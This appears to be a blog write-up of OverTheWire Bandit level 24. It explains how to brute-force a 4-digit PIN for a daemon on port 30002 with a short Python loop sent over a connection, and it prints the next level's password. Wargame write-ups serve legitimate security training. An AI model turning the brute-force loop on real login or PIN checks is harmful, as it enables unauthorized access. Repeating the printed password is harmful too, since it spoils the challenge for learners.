Writeups OverTheWireBanditLinuxBrute Forcenc

Bandit 24 Writeup - OverTheWire

Writeup for Bandit level 24 from OverTheWire: brute-forcing a 4-digit PIN over netcat.

Contents

Wargame: Bandit

Level: 24

Category: Linux Fundamentals

Description

A daemon on port 30002 accepts a password and a 4-digit PIN separated by a space. The correct PIN is one of the 10000 possibilities from 0000 to 9999. The goal is to brute-force all combinations.

Overview

Solution

lines = [f"{current_password} {i:04d}".encode() for i in range(10000)]

remote = ssh.connect_remote("127.0.0.1", 30002)
remote.sendlines(lines)

while True:
    output = remote.recv().decode()
    if "Correct!" in output:
        result = output.splitlines()[-1].split()[-1]
        break

Password

p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

← Back to Blog